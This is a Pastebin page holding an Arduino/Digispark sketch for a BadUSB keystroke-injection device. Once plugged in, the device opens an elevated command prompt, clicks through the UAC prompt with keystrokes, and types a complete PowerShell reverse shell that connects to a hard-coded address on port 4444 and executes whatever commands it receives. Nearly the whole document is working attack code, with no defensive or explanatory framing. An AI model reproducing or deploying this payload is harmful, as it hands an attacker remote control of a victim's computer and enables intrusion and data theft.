Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "GermanLayout.h"
- #define KEY_TAB 0x2b
- void setup() {
- DigiKeyboard.delay(500);
- pinMode(1, OUTPUT);
- }
- void StartAdminCMD(){
- DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboardDe.println("powershell Start-Process cmd -Verb runAs");
- DigiKeyboard.delay(1500);
- DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
- }
- void loop() {
- DigiKeyboard.update();
- DigiKeyboardDe.sendKeyStroke(0);
- StartAdminCMD();
- DigiKeyboard.delay(1000);
- DigiKeyboardDe.println(F("powershell -command \"$client = New-Object System.Net.Sockets.TCPClient('192.168.2.122',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd) + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""));
- DigiKeyboard.delay(5000);
- digitalWrite(1, HIGH);
- DigiKeyboard.delay(90000);
- digitalWrite(1, LOW);
- DigiKeyboard.delay(5000);
- }
- //Remove .Path from (path)+
- //-windowstyle Maximized
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement